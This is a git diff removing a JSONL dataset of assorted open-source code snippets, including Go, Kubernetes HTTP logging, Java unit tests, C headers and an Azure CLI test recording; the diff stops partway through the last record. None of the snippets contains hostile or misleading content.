diff --git "a/github/test.jsonl" "b/github/test.jsonl" deleted file mode 100644--- "a/github/test.jsonl" +++ /dev/null @@ -1,1797 +0,0 @@ -{"text": "/* \n Copyright (c) 2014-2015, GoBelieve \n All rights reserved.\t\t \t\t\t\t \t\t\t\n \n This source code is licensed under the BSD-style license found in the\n LICENSE file in the root directory of this source tree. An additional grant\n of patent rights can be found in the PATENTS file in the same directory.\n*/\n\n#import \"ESImageViewController.h\"\n\n@interface MEESImageViewController : ESImageViewController\n\n@property (nonatomic) bool isFullSize;\n@property (nonatomic,strong) UIButton *saveBtn;\n\n@end\n"} -{"text": "require 'mxx_ru/cpp'\n\nMxxRu::Cpp::exe_target {\n\n\trequired_prj( \"so_5/prj.rb\" )\n\n\ttarget( \"_unit.test.disp.binder.bind_to_disp_3\" )\n\n\tcpp_source( \"main.cpp\" )\n}\n\n"} -{"text": "LANGUAGE 0x9,0x1\n1 11 MSG00001.bin\n"} -{"text": "// Copyright 2017 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage httpproxy\n\nvar ExportUseProxy = (*Config).useProxy\n"} -{"text": "// Copyright 2017 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage socket\n\nconst (\n\tsysRECVMMSG = 0x10ef\n\tsysSENDMMSG = 0x10f7\n)\n"} -{"text": "/*\nCopyright 2014 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage httplog\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"k8s.io/klog/v2\"\n)\n\n// StacktracePred returns true if a stacktrace should be logged for this status.\ntype StacktracePred func(httpStatus int) (logStacktrace bool)\n\ntype logger interface {\n\tAddf(format string, data ...interface{})\n}\n\ntype respLoggerContextKeyType int\n\n// respLoggerContextKey is used to store the respLogger pointer in the request context.\nconst respLoggerContextKey respLoggerContextKeyType = iota\n\n// Add a layer on top of ResponseWriter, so we can track latency and error\n// message sources.\n//\n// TODO now that we're using go-restful, we shouldn't need to be wrapping\n// the http.ResponseWriter. We can recover panics from go-restful, and\n// the logging value is questionable.\ntype respLogger struct {\n\thijacked bool\n\tstatusRecorded bool\n\tstatus int\n\tstatusStack string\n\taddedInfo string\n\tstartTime time.Time\n\n\tcaptureErrorOutput bool\n\n\treq *http.Request\n\tw http.ResponseWriter\n\n\tlogStacktracePred StacktracePred\n}\n\n// Simple logger that logs immediately when Addf is called\ntype passthroughLogger struct{}\n\n// Addf logs info immediately.\nfunc (passthroughLogger) Addf(format string, data ...interface{}) {\n\tklog.V(2).Info(fmt.Sprintf(format, data...))\n}\n\n// DefaultStacktracePred is the default implementation of StacktracePred.\nfunc DefaultStacktracePred(status int) bool {\n\treturn (status < http.StatusOK || status >= http.StatusInternalServerError) && status != http.StatusSwitchingProtocols\n}\n\n// WithLogging wraps the handler with logging.\nfunc WithLogging(handler http.Handler, pred StacktracePred) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\n\t\tctx := req.Context()\n\t\tif old := respLoggerFromContext(req); old != nil {\n\t\t\tpanic(\"multiple WithLogging calls!\")\n\t\t}\n\t\trl := newLogged(req, w).StacktraceWhen(pred)\n\t\treq = req.WithContext(context.WithValue(ctx, respLoggerContextKey, rl))\n\n\t\tif klog.V(3).Enabled() {\n\t\t\tdefer func() { klog.InfoS(\"HTTP\", rl.LogArgs()...) }()\n\t\t}\n\t\thandler.ServeHTTP(rl, req)\n\t})\n}\n\n// respLoggerFromContext returns the respLogger or nil.\nfunc respLoggerFromContext(req *http.Request) *respLogger {\n\tctx := req.Context()\n\tval := ctx.Value(respLoggerContextKey)\n\tif rl, ok := val.(*respLogger); ok {\n\t\treturn rl\n\t}\n\treturn nil\n}\n\n// newLogged turns a normal response writer into a logged response writer.\nfunc newLogged(req *http.Request, w http.ResponseWriter) *respLogger {\n\treturn &respLogger{\n\t\tstartTime: time.Now(),\n\t\treq: req,\n\t\tw: w,\n\t\tlogStacktracePred: DefaultStacktracePred,\n\t}\n}\n\n// LogOf returns the logger hiding in w. If there is not an existing logger\n// then a passthroughLogger will be created which will log to stdout immediately\n// when Addf is called.\nfunc LogOf(req *http.Request, w http.ResponseWriter) logger {\n\tif rl := respLoggerFromContext(req); rl != nil {\n\t\treturn rl\n\t}\n\treturn &passthroughLogger{}\n}\n\n// Unlogged returns the original ResponseWriter, or w if it is not our inserted logger.\nfunc Unlogged(req *http.Request, w http.ResponseWriter) http.ResponseWriter {\n\tif rl := respLoggerFromContext(req); rl != nil {\n\t\treturn rl.w\n\t}\n\treturn w\n}\n\n// StacktraceWhen sets the stacktrace logging predicate, which decides when to log a stacktrace.\n// There's a default, so you don't need to call this unless you don't like the default.\nfunc (rl *respLogger) StacktraceWhen(pred StacktracePred) *respLogger {\n\trl.logStacktracePred = pred\n\treturn rl\n}\n\n// StatusIsNot returns a StacktracePred which will cause stacktraces to be logged\n// for any status *not* in the given list.\nfunc StatusIsNot(statuses ...int) StacktracePred {\n\tstatusesNoTrace := map[int]bool{}\n\tfor _, s := range statuses {\n\t\tstatusesNoTrace[s] = true\n\t}\n\treturn func(status int) bool {\n\t\t_, ok := statusesNoTrace[status]\n\t\treturn !ok\n\t}\n}\n\n// Addf adds additional data to be logged with this request.\nfunc (rl *respLogger) Addf(format string, data ...interface{}) {\n\trl.addedInfo += \"\\n\" + fmt.Sprintf(format, data...)\n}\n\nfunc (rl *respLogger) LogArgs() []interface{} {\n\tlatency := time.Since(rl.startTime)\n\tif rl.hijacked {\n\t\treturn []interface{}{\n\t\t\t\"verb\", rl.req.Method,\n\t\t\t\"URI\", rl.req.RequestURI,\n\t\t\t\"latency\", latency,\n\t\t\t\"userAgent\", rl.req.UserAgent(),\n\t\t\t\"srcIP\", rl.req.RemoteAddr,\n\t\t\t\"hijacked\", true,\n\t\t}\n\t}\n\targs := []interface{}{\n\t\t\"verb\", rl.req.Method,\n\t\t\"URI\", rl.req.RequestURI,\n\t\t\"latency\", latency,\n\t\t\"userAgent\", rl.req.UserAgent(),\n\t\t\"srcIP\", rl.req.RemoteAddr,\n\t\t\"resp\", rl.status,\n\t}\n\tif len(rl.statusStack) > 0 {\n\t\targs = append(args, \"statusStack\", rl.statusStack)\n\t}\n\n\tif len(rl.addedInfo) > 0 {\n\t\targs = append(args, \"addedInfo\", rl.addedInfo)\n\t}\n\treturn args\n}\n\n// Header implements http.ResponseWriter.\nfunc (rl *respLogger) Header() http.Header {\n\treturn rl.w.Header()\n}\n\n// Write implements http.ResponseWriter.\nfunc (rl *respLogger) Write(b []byte) (int, error) {\n\tif !rl.statusRecorded {\n\t\trl.recordStatus(http.StatusOK) // Default if WriteHeader hasn't been called\n\t}\n\tif rl.captureErrorOutput {\n\t\trl.Addf(\"logging error output: %q\\n\", string(b))\n\t}\n\treturn rl.w.Write(b)\n}\n\n// Flush implements http.Flusher even if the underlying http.Writer doesn't implement it.\n// Flush is used for streaming purposes and allows to flush buffered data to the client.\nfunc (rl *respLogger) Flush() {\n\tif flusher, ok := rl.w.(http.Flusher); ok {\n\t\tflusher.Flush()\n\t} else if klog.V(2).Enabled() {\n\t\tklog.InfoDepth(1, fmt.Sprintf(\"Unable to convert %+v into http.Flusher\", rl.w))\n\t}\n}\n\n// WriteHeader implements http.ResponseWriter.\nfunc (rl *respLogger) WriteHeader(status int) {\n\trl.recordStatus(status)\n\trl.w.WriteHeader(status)\n}\n\n// Hijack implements http.Hijacker.\nfunc (rl *respLogger) Hijack() (net.Conn, *bufio.ReadWriter, error) {\n\trl.hijacked = true\n\treturn rl.w.(http.Hijacker).Hijack()\n}\n\n// CloseNotify implements http.CloseNotifier\nfunc (rl *respLogger) CloseNotify() <-chan bool {\n\treturn rl.w.(http.CloseNotifier).CloseNotify()\n}\n\nfunc (rl *respLogger) recordStatus(status int) {\n\trl.status = status\n\trl.statusRecorded = true\n\tif rl.logStacktracePred(status) {\n\t\t// Only log stacks for errors\n\t\tstack := make([]byte, 50*1024)\n\t\tstack = stack[:runtime.Stack(stack, false)]\n\t\trl.statusStack = \"\\n\" + string(stack)\n\t\trl.captureErrorOutput = true\n\t} else {\n\t\trl.statusStack = \"\"\n\t}\n}\n"} -{"text": "package rocks.inspectit.shared.all.instrumentation.classcache;\n\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.hamcrest.Matchers.contains;\nimport static org.hamcrest.Matchers.empty;\nimport static org.hamcrest.Matchers.equalTo;\nimport static org.hamcrest.Matchers.hasItem;\nimport static org.hamcrest.Matchers.hasSize;\nimport static org.hamcrest.Matchers.is;\n\nimport java.util.Collection;\n\nimport org.testng.annotations.Test;\n\nimport nl.jqno.equalsverifier.EqualsVerifier;\nimport rocks.inspectit.shared.all.instrumentation.config.impl.MethodInstrumentationConfig;\n\n@SuppressWarnings(\"PMD\")\npublic class ClassTypeTest {\n\n\tClassType test;\n\n\t@Test\n\tpublic void equalsContract() {\n\t\t// note that we add state to the type so super.equals(InterfaceType) should return false\n\t\tEqualsVerifier.forClass(ClassType.class).usingGetClass().withRedefinedSuperclass().verify();\n\t}\n\n\tpublic class AddHash extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void addHashToNotInitialized() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\tString hash = \"hash\";\n\t\t\ttest = new ClassType(fqn1);\n\n\t\t\ttest.addHash(hash);\n\n\t\t\tassertThat(test.getHashes(), contains(hash));\n\t\t\tassertThat(test.getHashes().size(), is(1));\n\t\t}\n\n\t\t@Test\n\t\tpublic void addHashToInitialized() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\tString storedHash = \"shash\";\n\t\t\tString hash = \"hash\";\n\t\t\ttest = new ClassType(fqn1, storedHash, 0);\n\n\t\t\ttest.addHash(hash);\n\n\t\t\tassertThat(test.getHashes().size(), is(2));\n\t\t\tassertThat(test.getHashes(), hasItem(storedHash));\n\t\t\tassertThat(test.getHashes(), hasItem(hash));\n\t\t}\n\t}\n\n\tpublic class SetModifiers extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void setModifier() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\tString storedHash = \"shash\";\n\t\t\tint m = 0;\n\t\t\ttest = new ClassType(fqn1, storedHash, m);\n\t\t\tint m2 = 2;\n\n\t\t\ttest.setModifiers(m2);\n\n\t\t\tassertThat(test.getModifiers(), is(equalTo(m2)));\n\t\t}\n\t}\n\n\tpublic class AddSuperClass extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void addSuperClass() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\tString fqn2 = \"fqn2\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tClassType superclass = new ClassType(fqn2);\n\n\t\t\ttest.addSuperClass(superclass);\n\n\t\t\tassertThat(test.getSuperClasses(), hasItem(superclass));\n\t\t\tassertThat(superclass.getSubClasses(), hasItem(test));\n\t\t}\n\t}\n\n\tpublic class AddSubClass extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void addSubClass() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\tString fqn2 = \"fqn2\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tClassType subclass = new ClassType(fqn2);\n\n\t\t\ttest.addSubclass(subclass);\n\n\t\t\tassertThat(test.getSubClasses(), hasItem(subclass));\n\t\t\tassertThat(subclass.getSuperClasses(), hasItem(test));\n\t\t}\n\t}\n\n\tpublic class AddInterface extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void addRealizingInterface() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\tString fqn2 = \"fqn2\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tInterfaceType i = new InterfaceType(fqn2);\n\n\t\t\ttest.addInterface(i);\n\n\t\t\tassertThat(test.getRealizedInterfaces(), hasItem(i));\n\t\t\tassertThat(i.getRealizingClasses(), hasItem(test));\n\t\t}\n\t}\n\n\tpublic class AddMethod extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void addMethod() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tMethodType m = new MethodType();\n\n\t\t\ttest.addMethod(m);\n\n\t\t\tassertThat(test.getMethods(), hasItem(m));\n\t\t\tassertThat(m.getClassOrInterfaceType(), is(equalTo((TypeWithMethods) test)));\n\t\t}\n\t}\n\n\tpublic class AddAnnotation extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void addAnnotation() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\tString fqn2 = \"fqn2\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tAnnotationType a = new AnnotationType(fqn2);\n\n\t\t\ttest.addAnnotation(a);\n\n\t\t\tassertThat(test.getAnnotations(), hasItem(a));\n\t\t\tassertThat(a.getAnnotatedTypes(), hasItem((TypeWithAnnotations) test));\n\t\t}\n\t}\n\n\tpublic class AddMethodThrowingException extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void addMethodThrowsException() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tMethodType m = new MethodType();\n\n\t\t\ttest.addMethodThrowingException(m);\n\n\t\t\tassertThat(test.getMethodsThrowingThisException(), hasItem(m));\n\t\t\tassertThat(m.getExceptions(), hasItem(test));\n\t\t}\n\t}\n\n\tpublic class HasInstrumentationPoints extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void noInstrumentationPointsNoMethods() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\n\t\t\tboolean hasInstrumentationPoints = test.hasInstrumentationPoints();\n\n\t\t\tassertThat(hasInstrumentationPoints, is(false));\n\t\t}\n\n\t\t@Test\n\t\tpublic void noInstrumentationMethodDoesNotHave() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tMethodType m = new MethodType();\n\t\t\ttest.addMethod(m);\n\n\t\t\tboolean hasInstrumentationPoints = test.hasInstrumentationPoints();\n\n\t\t\tassertThat(hasInstrumentationPoints, is(false));\n\t\t}\n\n\t\t@Test\n\t\tpublic void hasInstrumentationPoints() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tMethodInstrumentationConfig config = new MethodInstrumentationConfig();\n\t\t\tMethodType m = new MethodType();\n\t\t\tm.setMethodInstrumentationConfig(config);\n\t\t\ttest.addMethod(m);\n\n\t\t\tboolean hasInstrumentationPoints = test.hasInstrumentationPoints();\n\n\t\t\tassertThat(hasInstrumentationPoints, is(true));\n\t\t}\n\t}\n\n\tpublic class GetInstrumentationPoints extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void noInstrumentationPointsNoMethods() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\n\t\t\tCollection instrumentationPoints = test.getInstrumentationPoints();\n\n\t\t\tassertThat(instrumentationPoints, is(empty()));\n\t\t}\n\n\t\t@Test\n\t\tpublic void noInstrumentationMethodDoesNotHave() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tMethodType m = new MethodType();\n\t\t\ttest.addMethod(m);\n\n\t\t\tCollection instrumentationPoints = test.getInstrumentationPoints();\n\n\t\t\tassertThat(instrumentationPoints, is(empty()));\n\t\t}\n\n\t\t@Test\n\t\tpublic void hasInstrumentationPoints() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tMethodInstrumentationConfig config = new MethodInstrumentationConfig();\n\t\t\tMethodType m = new MethodType();\n\t\t\tm.setMethodInstrumentationConfig(config);\n\t\t\ttest.addMethod(m);\n\n\t\t\tCollection instrumentationPoints = test.getInstrumentationPoints();\n\n\t\t\tassertThat(instrumentationPoints, hasSize(1));\n\t\t\tassertThat(instrumentationPoints, hasItem(config));\n\t\t}\n\t}\n\n\tpublic class IsException extends ClassTypeTest {\n\n\t\t@Test\n\t\tpublic void doesNotHaveSuperClass() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\n\t\t\tboolean exception = test.isException();\n\n\t\t\tassertThat(exception, is(false));\n\t\t}\n\n\t\t@Test\n\t\tpublic void superClassIsNotException() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tClassType superClass = new ClassType(\"some.Class\");\n\t\t\ttest.addSuperClass(superClass);\n\n\t\t\tboolean exception = test.isException();\n\n\t\t\tassertThat(exception, is(false));\n\t\t}\n\n\t\t@Test\n\t\tpublic void superClassIsException() {\n\t\t\tString fqn1 = \"fqn1\";\n\t\t\ttest = new ClassType(fqn1);\n\t\t\tClassType superClass = new ClassType(\"java.lang.Throwable\");\n\t\t\ttest.addSuperClass(superClass);\n\n\t\t\tboolean exception = test.isException();\n\n\t\t\tassertThat(exception, is(true));\n\t\t}\n\t}\n\n}\n"} -{"text": "/**\n * \\file\n * Various uIP library functions.\n * \\author\n * Adam Dunkels \n *\n */\n\n/*\n * Copyright (c) 2002, Adam Dunkels.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and/or other materials provided\n * with the distribution.\n * 3. The name of the author may not be used to endorse or promote\n * products derived from this software without specific prior\n * written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS\n * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE\n * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * This file is part of the uIP TCP/IP stack\n *\n * $Id: uiplib.h,v 1.1 2006/06/07 09:15:19 adam Exp $\n *\n */\n#ifndef __UIPLIB_H__\n#define __UIPLIB_H__\n\n/**\n * \\addtogroup uipconvfunc\n * @{\n */\n\n/**\n * Convert a textual representation of an IP address to a numerical representation.\n *\n * This function takes a textual representation of an IP address in\n * the form a.b.c.d and converts it into a 4-byte array that can be\n * used by other uIP functions.\n *\n * \\param addrstr A pointer to a string containing the IP address in\n * textual form.\n *\n * \\param addr A pointer to a 4-byte array that will be filled in with\n * the numerical representation of the address.\n *\n * \\retval 0 If the IP address could not be parsed.\n * \\retval Non-zero If the IP address was parsed.\n */\nunsigned char uiplib_ipaddrconv(char *addrstr, unsigned char *addr);\n\n/** @} */\n\n#endif /* __UIPLIB_H__ */\n"} -{"text": "# Locally computed\nsha256 5f42858a2062f34d2578e9cb1aed3ccb8d2409d908aa4c41a924418666d5f2bd let-me-create-1.5.2.tar.gz\nsha256 8ffc162e1435e810845b09a4c0d534df057a030f4c107778677b6621dc203426 LICENSE\n"} -{"text": "\n\ndef cleanup():\n from acceptance.config import make_code_bucket\n\n bucket = make_code_bucket()\n files = list(bucket.list_files('*.tgz'))\n _log().debug('Cleaning up {}'.format(files))\n for path in files:\n _log().debug('Removing {}'.format(path))\n bucket.remove(path)\n\n\ndef _log():\n from foundations.global_state import log_manager\n return log_manager.get_logger(__name__)\n"} -{"text": "// part:@sanity/base/fullscreen-exit-icon\n\nexport {default} from './Collapse'\n"} -{"text": "interactions:\n- request:\n body: '{\"location\": \"westus2\", \"sku\": {\"name\": \"Standard\"}, \"properties\": {\"publicIPAllocationMethod\":\n \"Static\", \"publicIPAddressVersion\": \"IPv4\", \"idleTimeoutInMinutes\": 4}}'\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - network public-ip create\n Connection:\n - keep-alive\n Content-Length:\n - '167'\n Content-Type:\n - application/json; charset=utf-8\n ParameterSetName:\n - -g -n --location --sku\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-network/12.0.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: PUT\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002?api-version=2020-06-01\n response:\n body:\n string: \"{\\r\\n \\\"name\\\": \\\"cliaksslbip1000002\\\",\\r\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n ,\\r\\n \\\"etag\\\": \\\"W/\\\\\\\"18370624-e984-4848-9bbd-1b6a8b9948ea\\\\\\\"\\\",\\r\\n \\\n \\ \\\"location\\\": \\\"westus2\\\",\\r\\n \\\"properties\\\": {\\r\\n \\\"provisioningState\\\"\\\n : \\\"Updating\\\",\\r\\n \\\"resourceGuid\\\": \\\"154a3c80-dbfc-4308-94c1-4918402744b7\\\"\\\n ,\\r\\n \\\"publicIPAddressVersion\\\": \\\"IPv4\\\",\\r\\n \\\"publicIPAllocationMethod\\\"\\\n : \\\"Static\\\",\\r\\n \\\"idleTimeoutInMinutes\\\": 4,\\r\\n \\\"ipTags\\\": []\\r\\n\\\n \\ },\\r\\n \\\"type\\\": \\\"Microsoft.Network/publicIPAddresses\\\",\\r\\n \\\"sku\\\"\\\n : {\\r\\n \\\"name\\\": \\\"Standard\\\"\\r\\n }\\r\\n}\"\n headers:\n azure-asyncnotification:\n - Enabled\n azure-asyncoperation:\n - https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.Network/locations/westus2/operations/6dc551f7-a712-4af3-9bdf-63f506e6869d?api-version=2020-06-01\n cache-control:\n - no-cache\n content-length:\n - '625'\n content-type:\n - application/json; charset=utf-8\n date:\n - Sat, 12 Sep 2020 23:20:05 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - Microsoft-HTTPAPI/2.0\n - Microsoft-HTTPAPI/2.0\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n x-content-type-options:\n - nosniff\n x-ms-arm-service-request-id:\n - 8302e87a-3773-4dfe-a48c-b5ed64bdee2f\n x-ms-ratelimit-remaining-subscription-writes:\n - '1198'\n status:\n code: 201\n message: Created\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - network public-ip create\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -n --location --sku\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-network/12.0.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.Network/locations/westus2/operations/6dc551f7-a712-4af3-9bdf-63f506e6869d?api-version=2020-06-01\n response:\n body:\n string: \"{\\r\\n \\\"status\\\": \\\"Succeeded\\\"\\r\\n}\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '29'\n content-type:\n - application/json; charset=utf-8\n date:\n - Sat, 12 Sep 2020 23:20:07 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - Microsoft-HTTPAPI/2.0\n - Microsoft-HTTPAPI/2.0\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n x-ms-arm-service-request-id:\n - 215784e1-3014-45c5-92c2-204171c34402\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - network public-ip create\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -n --location --sku\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-network/12.0.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002?api-version=2020-06-01\n response:\n body:\n string: \"{\\r\\n \\\"name\\\": \\\"cliaksslbip1000002\\\",\\r\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n ,\\r\\n \\\"etag\\\": \\\"W/\\\\\\\"388b0187-b480-409a-9bab-da5d1540748e\\\\\\\"\\\",\\r\\n \\\n \\ \\\"location\\\": \\\"westus2\\\",\\r\\n \\\"properties\\\": {\\r\\n \\\"provisioningState\\\"\\\n : \\\"Succeeded\\\",\\r\\n \\\"resourceGuid\\\": \\\"154a3c80-dbfc-4308-94c1-4918402744b7\\\"\\\n ,\\r\\n \\\"ipAddress\\\": \\\"20.51.67.177\\\",\\r\\n \\\"publicIPAddressVersion\\\"\\\n : \\\"IPv4\\\",\\r\\n \\\"publicIPAllocationMethod\\\": \\\"Static\\\",\\r\\n \\\"idleTimeoutInMinutes\\\"\\\n : 4,\\r\\n \\\"ipTags\\\": []\\r\\n },\\r\\n \\\"type\\\": \\\"Microsoft.Network/publicIPAddresses\\\"\\\n ,\\r\\n \\\"sku\\\": {\\r\\n \\\"name\\\": \\\"Standard\\\"\\r\\n }\\r\\n}\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '660'\n content-type:\n - application/json; charset=utf-8\n date:\n - Sat, 12 Sep 2020 23:20:07 GMT\n etag:\n - W/\"388b0187-b480-409a-9bab-da5d1540748e\"\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - Microsoft-HTTPAPI/2.0\n - Microsoft-HTTPAPI/2.0\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n x-ms-arm-service-request-id:\n - 684456a8-0afc-4d86-bfa4-67ddd6f54b64\n status:\n code: 200\n message: OK\n- request:\n body: '{\"location\": \"westus2\", \"sku\": {\"name\": \"Standard\"}, \"properties\": {\"publicIPAllocationMethod\":\n \"Static\", \"publicIPAddressVersion\": \"IPv4\", \"idleTimeoutInMinutes\": 4}}'\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - network public-ip create\n Connection:\n - keep-alive\n Content-Length:\n - '167'\n Content-Type:\n - application/json; charset=utf-8\n ParameterSetName:\n - -g -n --location --sku\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-network/12.0.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: PUT\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003?api-version=2020-06-01\n response:\n body:\n string: \"{\\r\\n \\\"name\\\": \\\"cliaksslbip2000003\\\",\\r\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003\\\"\\\n ,\\r\\n \\\"etag\\\": \\\"W/\\\\\\\"e390578c-7ae9-4a5c-bb88-ebd5330384e4\\\\\\\"\\\",\\r\\n \\\n \\ \\\"location\\\": \\\"westus2\\\",\\r\\n \\\"properties\\\": {\\r\\n \\\"provisioningState\\\"\\\n : \\\"Updating\\\",\\r\\n \\\"resourceGuid\\\": \\\"61eb6037-5c76-4bc3-8929-57a495ed01e6\\\"\\\n ,\\r\\n \\\"publicIPAddressVersion\\\": \\\"IPv4\\\",\\r\\n \\\"publicIPAllocationMethod\\\"\\\n : \\\"Static\\\",\\r\\n \\\"idleTimeoutInMinutes\\\": 4,\\r\\n \\\"ipTags\\\": []\\r\\n\\\n \\ },\\r\\n \\\"type\\\": \\\"Microsoft.Network/publicIPAddresses\\\",\\r\\n \\\"sku\\\"\\\n : {\\r\\n \\\"name\\\": \\\"Standard\\\"\\r\\n }\\r\\n}\"\n headers:\n azure-asyncnotification:\n - Enabled\n azure-asyncoperation:\n - 